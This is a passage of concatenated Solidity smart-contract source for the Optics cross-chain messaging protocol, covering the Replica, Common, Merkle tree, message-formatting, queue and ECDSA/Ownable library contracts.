_destinationAndNonce(uint32 _destination, uint32 _nonce) internal pure returns (uint64) { return (uint64(_destination) << 32) | _nonce; } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {Version0} from "./Version0.sol"; import {Common} from "./Common.sol"; import {MerkleLib} from "../libs/Merkle.sol"; import {Message} from "../libs/Message.sol"; import {IMessageRecipient} from "../interfaces/IMessageRecipient.sol"; // ============ External Imports ============ import {TypedMemView} from "@summa-tx/memview-sol/contracts/TypedMemView.sol"; /** * @title Replica * @author Celo Labs Inc. * @notice Track root updates on Home, * prove and dispatch messages to end recipients. */ contract Replica is Version0, Common { // ============ Libraries ============ using MerkleLib for MerkleLib.Tree; using TypedMemView for bytes; using TypedMemView for bytes29; using Message for bytes29; // ============ Enums ============ // Status of Message: // 0 - None - message has not been proven or processed // 1 - Proven - message inclusion proof has been validated // 2 - Processed - message has been dispatched to recipient enum MessageStatus { None, Proven, Processed } // ============ Immutables ============ // Minimum gas for message processing uint256 public immutable PROCESS_GAS; // Reserved gas (to ensure tx completes in case message processing runs out) uint256 public immutable RESERVE_GAS; // ============ Public Storage ============ // Domain of home chain uint32 public remoteDomain; // Number of seconds to wait before root becomes confirmable uint256 public optimisticSeconds; // re-entrancy guard uint8 private entered; // Mapping of roots to allowable confirmation times mapping(bytes32 => uint256) public confirmAt; // Mapping of message leaves to MessageStatus mapping(bytes32 => MessageStatus) public messages; // ============ Upgrade Gap ============ // gap for upgrade safety uint256[44] private __GAP; // ============ Events ============ /** * @notice Emitted when message is processed * @param messageHash Hash of message that failed to process * @param success TRUE if the call was executed successfully, FALSE if the call reverted * @param returnData the return data from the external call */ event Process( bytes32 indexed messageHash, bool indexed success, bytes indexed returnData ); // ============ Constructor ============ // solhint-disable-next-line no-empty-blocks constructor( uint32 _localDomain, uint256 _processGas, uint256 _reserveGas ) Common(_localDomain) { require(_processGas >= 850_000, "!process gas"); require(_reserveGas >= 15_000, "!reserve gas"); PROCESS_GAS = _processGas; RESERVE_GAS = _reserveGas; } // ============ Initializer ============ function initialize( uint32 _remoteDomain, address _updater, bytes32 _committedRoot, uint256 _optimisticSeconds ) public initializer { __Common_initialize(_updater); entered = 1; remoteDomain = _remoteDomain; committedRoot = _committedRoot; confirmAt[_committedRoot] = 1; optimisticSeconds = _optimisticSeconds; } // ============ External Functions ============ /** * @notice Called by external agent. Submits the signed update's new root, * marks root's allowable confirmation time, and emits an `Update` event. * @dev Reverts if update doesn't build off latest committedRoot * or if signature is invalid. * @param _oldRoot Old merkle root * @param _newRoot New merkle root * @param _signature Updater's signature on `_oldRoot` and `_newRoot` */ function update( bytes32 _oldRoot, bytes32 _newRoot, bytes memory _signature ) external notFailed { // ensure that update is building off the last submitted root require(_oldRoot == committedRoot, "not current update"); // validate updater signature require( _isUpdaterSignature(_oldRoot, _newRoot, _signature), "!updater sig" ); // Hook for future use _beforeUpdate(); // set the new root's confirmation timer confirmAt[_newRoot] = block.timestamp + optimisticSeconds; // update committedRoot committedRoot = _newRoot; emit Update(remoteDomain, _oldRoot, _newRoot, _signature); } /** * @notice First attempts to prove the validity of provided formatted * `message`. If the message is successfully proven, then tries to process * message. * @dev Reverts if `prove` call returns false * @param _message Formatted message (refer to Common.sol Message library) * @param _proof Merkle proof of inclusion for message's leaf * @param _index Index of leaf in home's merkle tree */ function proveAndProcess( bytes memory _message, bytes32[32] calldata _proof, uint256 _index ) external { require(prove(keccak256(_message), _proof, _index), "!prove"); process(_message); } /** * @notice Given formatted message, attempts to dispatch * message payload to end recipient. * @dev Recipient must implement a `handle` method (refer to IMessageRecipient.sol) * Reverts if formatted message's destination domain is not the Replica's domain, * if message has not been proven, * or if not enough gas is provided for the dispatch transaction. * @param _message Formatted message * @return _success TRUE iff dispatch transaction succeeded */ function process(bytes memory _message) public returns (bool _success) { bytes29 _m = _message.ref(0); // ensure message was meant for this domain require(_m.destination() == localDomain, "!destination"); // ensure message has been proven bytes32 _messageHash = _m.keccak(); require(messages[_messageHash] == MessageStatus.Proven, "!proven"); // check re-entrancy guard require(entered == 1, "!reentrant"); entered = 0; // update message status as processed messages[_messageHash] = MessageStatus.Processed; // A call running out of gas TYPICALLY errors the whole tx. We want to // a) ensure the call has a sufficient amount of gas to make a // meaningful state change. // b) ensure that if the subcall runs out of gas, that the tx as a whole // does not revert (i.e. we still mark the message processed) // To do this, we require that we have enough gas to process // and still return. We then delegate only the minimum processing gas. require(gasleft() >= PROCESS_GAS + RESERVE_GAS, "!gas"); // get the message recipient address _recipient = _m.recipientAddress(); // set up for assembly call uint256 _toCopy; uint256 _maxCopy = 256; uint256 _gas = PROCESS_GAS; // allocate memory for returndata bytes memory _returnData = new bytes(_maxCopy); bytes memory _calldata = abi.encodeWithSignature( "handle(uint32,bytes32,bytes)", _m.origin(), _m.sender(), _m.body().clone() ); // dispatch message to recipient // by assembly calling "handle" function // we call via assembly to avoid memcopying a very large returndata // returned by a malicious contract assembly { _success := call( _gas, // gas _recipient, // recipient 0, // ether value add(_calldata, 0x20), // inloc mload(_calldata), // inlen 0, // outloc 0 // outlen ) // limit our copy to 256 bytes _toCopy := returndatasize() if gt(_toCopy, _maxCopy) { _toCopy := _maxCopy } // Store the length of the copied bytes mstore(_returnData, _toCopy) // copy the bytes from returndata[0:_toCopy] returndatacopy(add(_returnData, 0x20), 0, _toCopy) } // emit process results emit Process(_messageHash, _success, _returnData); // reset re-entrancy guard entered = 1; } // ============ Public Functions ============ /** * @notice Check that the root has been submitted * and that the optimistic timeout period has expired, * meaning the root can be processed * @param _root the Merkle root, submitted in an update, to check * @return TRUE iff root has been submitted & timeout has expired */ function acceptableRoot(bytes32 _root) public view returns (bool) { uint256 _time = confirmAt[_root]; if (_time == 0) { return false; } return block.timestamp >= _time; } /** * @notice Attempts to prove the validity of message given its leaf, the * merkle proof of inclusion for the leaf, and the index of the leaf. * @dev Reverts if message's MessageStatus != None (i.e. if message was * already proven or processed) * @dev For convenience, we allow proving against any previous root. * This means that witnesses never need to be updated for the new root * @param _leaf Leaf of message to prove * @param _proof Merkle proof of inclusion for leaf * @param _index Index of leaf in home's merkle tree * @return Returns true if proof was valid and `prove` call succeeded **/ function prove( bytes32 _leaf, bytes32[32] calldata _proof, uint256 _index ) public returns (bool) { // ensure that message has not been proven or processed require(messages[_leaf] == MessageStatus.None, "!MessageStatus.None"); // calculate the expected root based on the proof bytes32 _calculatedRoot = MerkleLib.branchRoot(_leaf, _proof, _index); // if the root is valid, change status to Proven if (acceptableRoot(_calculatedRoot)) { messages[_leaf] = MessageStatus.Proven; return true; } return false; } /** * @notice Hash of Home domain concatenated with "OPTICS" */ function homeDomainHash() public view override returns (bytes32) { return _homeDomainHash(remoteDomain); } // ============ Internal Functions ============ /** * @notice Moves the contract into failed state * @dev Called when a Double Update is submitted */ function _fail() internal override { _setFailed(); } /// @notice Hook for potential future use // solhint-disable-next-line no-empty-blocks function _beforeUpdate() internal {} } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; import "@summa-tx/memview-sol/contracts/TypedMemView.sol"; library TypeCasts { using TypedMemView for bytes; using TypedMemView for bytes29; function coerceBytes32(string memory _s) internal pure returns (bytes32 _b) { _b = bytes(_s).ref(0).index(0, uint8(bytes(_s).length)); } // treat it as a null-terminated string of max 32 bytes function coerceString(bytes32 _buf) internal pure returns (string memory _newStr) { uint8 _slen = 0; while (_slen < 32 && _buf[_slen] != 0) { _slen++; } // solhint-disable-next-line no-inline-assembly assembly { _newStr := mload(0x40) mstore(0x40, add(_newStr, 0x40)) // may end up with extra mstore(_newStr, _slen) mstore(add(_newStr, 0x20), _buf) } } // alignment preserving cast function addressToBytes32(address _addr) internal pure returns (bytes32) { return bytes32(uint256(uint160(_addr))); } // alignment preserving cast function bytes32ToAddress(bytes32 _buf) internal pure returns (address) { return address(uint160(uint256(_buf))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {Message} from "../libs/Message.sol"; // ============ External Imports ============ import {ECDSA} from "@openzeppelin/contracts/cryptography/ECDSA.sol"; import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /** * @title Common * @author Celo Labs Inc. * @notice Shared utilities between Home and Replica. */ abstract contract Common is Initializable { // ============ Enums ============ // States: // 0 - UnInitialized - before initialize function is called // note: the contract is initialized at deploy time, so it should never be in this state // 1 - Active - as long as the contract has not become fraudulent // 2 - Failed - after a valid fraud proof has been submitted; // contract will no longer accept updates or new messages enum States { UnInitialized, Active, Failed } // ============ Immutable Variables ============ // Domain of chain on which the contract is deployed uint32 public immutable localDomain; // ============ Public Variables ============ // Address of bonded Updater address public updater; // Current state of contract States public state; // The latest root that has been signed by the Updater bytes32 public committedRoot; // ============ Upgrade Gap ============ // gap for upgrade safety uint256[47] private __GAP; // ============ Events ============ /** * @notice Emitted when update is made on Home * or unconfirmed update root is submitted on Replica * @param homeDomain Domain of home contract * @param oldRoot Old merkle root * @param newRoot New merkle root * @param signature Updater's signature on `oldRoot` and `newRoot` */ event Update( uint32 indexed homeDomain, bytes32 indexed oldRoot, bytes32 indexed newRoot, bytes signature ); /** * @notice Emitted when proof of a double update is submitted, * which sets the contract to FAILED state * @param oldRoot Old root shared between two conflicting updates * @param newRoot Array containing two conflicting new roots * @param signature Signature on `oldRoot` and `newRoot`[0] * @param signature2 Signature on `oldRoot` and `newRoot`[1] */ event DoubleUpdate( bytes32 oldRoot, bytes32[2] newRoot, bytes signature, bytes signature2 ); // ============ Modifiers ============ /** * @notice Ensures that contract state != FAILED when the function is called */ modifier notFailed() { require(state != States.Failed, "failed state"); _; } // ============ Constructor ============ constructor(uint32 _localDomain) { localDomain = _localDomain; } // ============ Initializer ============ function __Common_initialize(address _updater) internal initializer { updater = _updater; state = States.Active; } // ============ External Functions ============ /** * @notice Called by external agent. Checks that signatures on two sets of * roots are valid and that the new roots conflict with each other. If both * cases hold true, the contract is failed and a `DoubleUpdate` event is * emitted. * @dev When `fail()` is called on Home, updater is slashed. * @param _oldRoot Old root shared between two conflicting updates * @param _newRoot Array containing two conflicting new roots * @param _signature Signature on `_oldRoot` and `_newRoot`[0] * @param _signature2 Signature on `_oldRoot` and `_newRoot`[1] */ function doubleUpdate( bytes32 _oldRoot, bytes32[2] calldata _newRoot, bytes calldata _signature, bytes calldata _signature2 ) external notFailed { if ( Common._isUpdaterSignature(_oldRoot, _newRoot[0], _signature) && Common._isUpdaterSignature(_oldRoot, _newRoot[1], _signature2) && _newRoot[0] != _newRoot[1] ) { _fail(); emit DoubleUpdate(_oldRoot, _newRoot, _signature, _signature2); } } // ============ Public Functions ============ /** * @notice Hash of Home domain concatenated with "OPTICS" */ function homeDomainHash() public view virtual returns (bytes32); // ============ Internal Functions ============ /** * @notice Hash of Home domain concatenated with "OPTICS" * @param _homeDomain the Home domain to hash */ function _homeDomainHash(uint32 _homeDomain) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_homeDomain, "OPTICS")); } /** * @notice Set contract state to FAILED * @dev Called when a valid fraud proof is submitted */ function _setFailed() internal { state = States.Failed; } /** * @notice Moves the contract into failed state * @dev Called when fraud is proven * (Double Update is submitted on Home or Replica, * or Improper Update is submitted on Home) */ function _fail() internal virtual; /** * @notice Checks that signature was signed by Updater * @param _oldRoot Old merkle root * @param _newRoot New merkle root * @param _signature Signature on `_oldRoot` and `_newRoot` * @return TRUE iff signature is valid signed by updater **/ function _isUpdaterSignature( bytes32 _oldRoot, bytes32 _newRoot, bytes memory _signature ) internal view returns (bool) { bytes32 _digest = keccak256( abi.encodePacked(homeDomainHash(), _oldRoot, _newRoot) ); _digest = ECDSA.toEthSignedMessageHash(_digest); return (ECDSA.recover(_digest, _signature) == updater); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; /** * @title QueueLib * @author Celo Labs Inc. * @notice Library containing queue struct and operations for queue used by * Home and Replica. **/ library QueueLib { /** * @notice Queue struct * @dev Internally keeps track of the `first` and `last` elements through * indices and a mapping of indices to enqueued elements. **/ struct Queue { uint128 first; uint128 last; mapping(uint256 => bytes32) queue; } /** * @notice Initializes the queue * @dev Empty state denoted by _q.first > q._last. Queue initialized * with _q.first = 1 and _q.last = 0. **/ function initialize(Queue storage _q) internal { if (_q.first == 0) { _q.first = 1; } } /** * @notice Enqueues a single new element * @param _item New element to be enqueued * @return _last Index of newly enqueued element **/ function enqueue(Queue storage _q, bytes32 _item) internal returns (uint128 _last) { _last = _q.last + 1; _q.last = _last; if (_item != bytes32(0)) { // saves gas if we're queueing 0 _q.queue[_last] = _item; } } /** * @notice Dequeues element at front of queue * @dev Removes dequeued element from storage * @return _item Dequeued element **/ function dequeue(Queue storage _q) internal returns (bytes32 _item) { uint128 _last = _q.last; uint128 _first = _q.first; require(_length(_last, _first) != 0, "Empty"); _item = _q.queue[_first]; if (_item != bytes32(0)) { // saves gas if we're dequeuing 0 delete _q.queue[_first]; } _q.first = _first + 1; } /** * @notice Batch enqueues several elements * @param _items Array of elements to be enqueued * @return _last Index of last enqueued element **/ function enqueue(Queue storage _q, bytes32[] memory _items) internal returns (uint128 _last) { _last = _q.last; for (uint256 i = 0; i < _items.length; i += 1) { _last += 1; bytes32 _item = _items[i]; if (_item != bytes32(0)) { _q.queue[_last] = _item; } } _q.last = _last; } /** * @notice Batch dequeues `_number` elements * @dev Reverts if `_number` > queue length * @param _number Number of elements to dequeue * @return Array of dequeued elements **/ function dequeue(Queue storage _q, uint256 _number) internal returns (bytes32[] memory) { uint128 _last = _q.last; uint128 _first = _q.first; // Cannot underflow unless state is corrupted require(_length(_last, _first) >= _number, "Insufficient"); bytes32[] memory _items = new bytes32[](_number); for (uint256 i = 0; i < _number; i++) { _items[i] = _q.queue[_first]; delete _q.queue[_first]; _first++; } _q.first = _first; return _items; } /** * @notice Returns true if `_item` is in the queue and false if otherwise * @dev Linearly scans from _q.first to _q.last looking for `_item` * @param _item Item being searched for in queue * @return True if `_item` currently exists in queue, false if otherwise **/ function contains(Queue storage _q, bytes32 _item) internal view returns (bool) { for (uint256 i = _q.first; i <= _q.last; i++) { if (_q.queue[i] == _item) { return true; } } return false; } /// @notice Returns last item in queue /// @dev Returns bytes32(0) if queue empty function lastItem(Queue storage _q) internal view returns (bytes32) { return _q.queue[_q.last]; } /// @notice Returns element at front of queue without removing element /// @dev Reverts if queue is empty function peek(Queue storage _q) internal view returns (bytes32 _item) { require(!isEmpty(_q), "Empty"); _item = _q.queue[_q.first]; } /// @notice Returns true if queue is empty and false if otherwise function isEmpty(Queue storage _q) internal view returns (bool) { return _q.last < _q.first; } /// @notice Returns number of elements in queue function length(Queue storage _q) internal view returns (uint256) { uint128 _last = _q.last; uint128 _first = _q.first; // Cannot underflow unless state is corrupted return _length(_last, _first); } /// @notice Returns number of elements between `_last` and `_first` (used internally) function _length(uint128 _last, uint128 _first) internal pure returns (uint256) { return uint256(_last + 1 - _first); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // work based on eth2 deposit contract, which is used under CC0-1.0 /** * @title MerkleLib * @author Celo Labs Inc. * @notice An incremental merkle tree modeled on the eth2 deposit contract. **/ library MerkleLib { uint256 internal constant TREE_DEPTH = 32; uint256 internal constant MAX_LEAVES = 2**TREE_DEPTH - 1; /** * @notice Struct representing incremental merkle tree. Contains current * branch and the number of inserted leaves in the tree. **/ struct Tree { bytes32[TREE_DEPTH] branch; uint256 count; } /** * @notice Inserts `_node` into merkle tree * @dev Reverts if tree is full * @param _node Element to insert into tree **/ function insert(Tree storage _tree, bytes32 _node) internal { require(_tree.count < MAX_LEAVES, "merkle tree full"); _tree.count += 1; uint256 size = _tree.count; for (uint256 i = 0; i < TREE_DEPTH; i++) { if ((size & 1) == 1) { _tree.branch[i] = _node; return; } _node = keccak256(abi.encodePacked(_tree.branch[i], _node)); size /= 2; } // As the loop should always end prematurely with the `return` statement, // this code should be unreachable. We assert `false` just to be safe. assert(false); } /** * @notice Calculates and returns`_tree`'s current root given array of zero * hashes * @param _zeroes Array of zero hashes * @return _current Calculated root of `_tree` **/ function rootWithCtx(Tree storage _tree, bytes32[TREE_DEPTH] memory _zeroes) internal view returns (bytes32 _current) { uint256 _index = _tree.count; for (uint256 i = 0; i < TREE_DEPTH; i++) { uint256 _ithBit = (_index >> i) & 0x01; bytes32 _next = _tree.branch[i]; if (_ithBit == 1) { _current = keccak256(abi.encodePacked(_next, _current)); } else { _current = keccak256(abi.encodePacked(_current, _zeroes[i])); } } } /// @notice Calculates and returns`_tree`'s current root function root(Tree storage _tree) internal view returns (bytes32) { return rootWithCtx(_tree, zeroHashes()); } /// @notice Returns array of TREE_DEPTH zero hashes /// @return _zeroes Array of TREE_DEPTH zero hashes function zeroHashes() internal pure returns (bytes32[TREE_DEPTH] memory _zeroes) { _zeroes[0] = Z_0; _zeroes[1] = Z_1; _zeroes[2] = Z_2; _zeroes[3] = Z_3; _zeroes[4] = Z_4; _zeroes[5] = Z_5; _zeroes[6] = Z_6; _zeroes[7] = Z_7; _zeroes[8] = Z_8; _zeroes[9] = Z_9; _zeroes[10] = Z_10; _zeroes[11] = Z_11; _zeroes[12] = Z_12; _zeroes[13] = Z_13; _zeroes[14] = Z_14; _zeroes[15] = Z_15; _zeroes[16] = Z_16; _zeroes[17] = Z_17; _zeroes[18] = Z_18; _zeroes[19] = Z_19; _zeroes[20] = Z_20; _zeroes[21] = Z_21; _zeroes[22] = Z_22; _zeroes[23] = Z_23; _zeroes[24] = Z_24; _zeroes[25] = Z_25; _zeroes[26] = Z_26; _zeroes[27] = Z_27; _zeroes[28] = Z_28; _zeroes[29] = Z_29; _zeroes[30] = Z_30; _zeroes[31] = Z_31; } /** * @notice Calculates and returns the merkle root for the given leaf * `_item`, a merkle branch, and the index of `_item` in the tree. * @param _item Merkle leaf * @param _branch Merkle proof * @param _index Index of `_item` in tree * @return _current Calculated merkle root **/ function branchRoot( bytes32 _item, bytes32[TREE_DEPTH] memory _branch, uint256 _index ) internal pure returns (bytes32 _current) { _current = _item; for (uint256 i = 0; i < TREE_DEPTH; i++) { uint256 _ithBit = (_index >> i) & 0x01; bytes32 _next = _branch[i]; if (_ithBit == 1) { _current = keccak256(abi.encodePacked(_next, _current)); } else { _current = keccak256(abi.encodePacked(_current, _next)); } } } // keccak256 zero hashes bytes32 internal constant Z_0 = hex"0000000000000000000000000000000000000000000000000000000000000000"; bytes32 internal constant Z_1 = hex"ad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5"; bytes32 internal constant Z_2 = hex"b4c11951957c6f8f642c4af61cd6b24640fec6dc7fc607ee8206a99e92410d30"; bytes32 internal constant Z_3 = hex"21ddb9a356815c3fac1026b6dec5df3124afbadb485c9ba5a3e3398a04b7ba85"; bytes32 internal constant Z_4 = hex"e58769b32a1beaf1ea27375a44095a0d1fb664ce2dd358e7fcbfb78c26a19344"; bytes32 internal constant Z_5 = hex"0eb01ebfc9ed27500cd4dfc979272d1f0913cc9f66540d7e8005811109e1cf2d"; bytes32 internal constant Z_6 = hex"887c22bd8750d34016ac3c66b5ff102dacdd73f6b014e710b51e8022af9a1968"; bytes32 internal constant Z_7 = hex"ffd70157e48063fc33c97a050f7f640233bf646cc98d9524c6b92bcf3ab56f83"; bytes32 internal constant Z_8 = hex"9867cc5f7f196b93bae1e27e6320742445d290f2263827498b54fec539f756af"; bytes32 internal constant Z_9 = hex"cefad4e508c098b9a7e1d8feb19955fb02ba9675585078710969d3440f5054e0"; bytes32 internal constant Z_10 = hex"f9dc3e7fe016e050eff260334f18a5d4fe391d82092319f5964f2e2eb7c1c3a5"; bytes32 internal constant Z_11 = hex"f8b13a49e282f609c317a833fb8d976d11517c571d1221a265d25af778ecf892"; bytes32 internal constant Z_12 = hex"3490c6ceeb450aecdc82e28293031d10c7d73bf85e57bf041a97360aa2c5d99c"; bytes32 internal constant Z_13 = hex"c1df82d9c4b87413eae2ef048f94b4d3554cea73d92b0f7af96e0271c691e2bb"; bytes32 internal constant Z_14 = hex"5c67add7c6caf302256adedf7ab114da0acfe870d449a3a489f781d659e8becc"; bytes32 internal constant Z_15 = hex"da7bce9f4e8618b6bd2f4132ce798cdc7a60e7e1460a7299e3c6342a579626d2"; bytes32 internal constant Z_16 = hex"2733e50f526ec2fa19a22b31e8ed50f23cd1fdf94c9154ed3a7609a2f1ff981f"; bytes32 internal constant Z_17 = hex"e1d3b5c807b281e4683cc6d6315cf95b9ade8641defcb32372f1c126e398ef7a"; bytes32 internal constant Z_18 = hex"5a2dce0a8a7f68bb74560f8f71837c2c2ebbcbf7fffb42ae1896f13f7c7479a0"; bytes32 internal constant Z_19 = hex"b46a28b6f55540f89444f63de0378e3d121be09e06cc9ded1c20e65876d36aa0"; bytes32 internal constant Z_20 = hex"c65e9645644786b620e2dd2ad648ddfcbf4a7e5b1a3a4ecfe7f64667a3f0b7e2"; bytes32 internal constant Z_21 = hex"f4418588ed35a2458cffeb39b93d26f18d2ab13bdce6aee58e7b99359ec2dfd9"; bytes32 internal constant Z_22 = hex"5a9c16dc00d6ef18b7933a6f8dc65ccb55667138776f7dea101070dc8796e377"; bytes32 internal constant Z_23 = hex"4df84f40ae0c8229d0d6069e5c8f39a7c299677a09d367fc7b05e3bc380ee652"; bytes32 internal constant Z_24 = hex"cdc72595f74c7b1043d0e1ffbab734648c838dfb0527d971b602bc216c9619ef"; bytes32 internal constant Z_25 = hex"0abf5ac974a1ed57f4050aa510dd9c74f508277b39d7973bb2dfccc5eeb0618d"; bytes32 internal constant Z_26 = hex"b8cd74046ff337f0a7bf2c8e03e10f642c1886798d71806ab1e888d9e5ee87d0"; bytes32 internal constant Z_27 = hex"838c5655cb21c6cb83313b5a631175dff4963772cce9108188b34ac87c81c41e"; bytes32 internal constant Z_28 = hex"662ee4dd2dd7b2bc707961b1e646c4047669dcb6584f0d8d770daf5d7e7deb2e"; bytes32 internal constant Z_29 = hex"388ab20e2573d171a88108e79d820e98f26c0b84aa8b2f4aa4968dbb818ea322"; bytes32 internal constant Z_30 = hex"93237c50ba75ee485f4c22adf2f741400bdf8d6a9cc7df7ecae576221665d735"; bytes32 internal constant Z_31 = hex"8448818bb4ae4562849e949e17ac16e0be16688e156b5cf15e098c627c0056a9"; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; import "@summa-tx/memview-sol/contracts/TypedMemView.sol"; import { TypeCasts } from "./TypeCasts.sol"; /** * @title Message Library * @author Celo Labs Inc. * @notice Library for formatted messages used by Home and Replica. **/ library Message { using TypedMemView for bytes; using TypedMemView for bytes29; // Number of bytes in formatted message before `body` field uint256 internal constant PREFIX_LENGTH = 76; /** * @notice Returns formatted (packed) message with provided fields * @param _originDomain Domain of home chain * @param _sender Address of sender as bytes32 * @param _nonce Destination-specific nonce * @param _destinationDomain Domain of destination chain * @param _recipient Address of recipient on destination chain as bytes32 * @param _messageBody Raw bytes of message body * @return Formatted message **/ function formatMessage( uint32 _originDomain, bytes32 _sender, uint32 _nonce, uint32 _destinationDomain, bytes32 _recipient, bytes memory _messageBody ) internal pure returns (bytes memory) { return abi.encodePacked( _originDomain, _sender, _nonce, _destinationDomain, _recipient, _messageBody ); } /** * @notice Returns leaf of formatted message with provided fields. * @param _origin Domain of home chain * @param _sender Address of sender as bytes32 * @param _nonce Destination-specific nonce number * @param _destination Domain of destination chain * @param _recipient Address of recipient on destination chain as bytes32 * @param _body Raw bytes of message body * @return Leaf (hash) of formatted message **/ function messageHash( uint32 _origin, bytes32 _sender, uint32 _nonce, uint32 _destination, bytes32 _recipient, bytes memory _body ) internal pure returns (bytes32) { return keccak256( formatMessage( _origin, _sender, _nonce, _destination, _recipient, _body ) ); } /// @notice Returns message's origin field function origin(bytes29 _message) internal pure returns (uint32) { return uint32(_message.indexUint(0, 4)); } /// @notice Returns message's sender field function sender(bytes29 _message) internal pure returns (bytes32) { return _message.index(4, 32); } /// @notice Returns message's nonce field function nonce(bytes29 _message) internal pure returns (uint32) { return uint32(_message.indexUint(36, 4)); } /// @notice Returns message's destination field function destination(bytes29 _message) internal pure returns (uint32) { return uint32(_message.indexUint(40, 4)); } /// @notice Returns message's recipient field as bytes32 function recipient(bytes29 _message) internal pure returns (bytes32) { return _message.index(44, 32); } /// @notice Returns message's recipient field as an address function recipientAddress(bytes29 _message) internal pure returns (address) { return TypeCasts.bytes32ToAddress(recipient(_message)); } /// @notice Returns message's body field as bytes29 (refer to TypedMemView library for details on bytes29 type) function body(bytes29 _message) internal pure returns (bytes29) { return _message.slice(PREFIX_LENGTH, _message.len() - PREFIX_LENGTH, 0); } function leaf(bytes29 _message) internal view returns (bytes32) { return messageHash(origin(_message), sender(_message), nonce(_message), destination(_message), recipient(_message), TypedMemView.clone(body(_message))); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {MerkleLib} from "../libs/Merkle.sol"; /** * @title MerkleTreeManager * @author Celo Labs Inc. * @notice Contains a Merkle tree instance and * exposes view functions for the tree. */ contract MerkleTreeManager { // ============ Libraries ============ using MerkleLib for MerkleLib.Tree; MerkleLib.Tree public tree; // ============ Upgrade Gap ============ // gap for upgrade safety uint256[49] private __GAP; // ============ Public Functions ============ /** * @notice Calculates and returns tree's current root */ function root() public view returns (bytes32) { return tree.root(); } /** * @notice Returns the number of inserted leaves in the tree (current index) */ function count() public view returns (uint256) { return tree.count; } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports 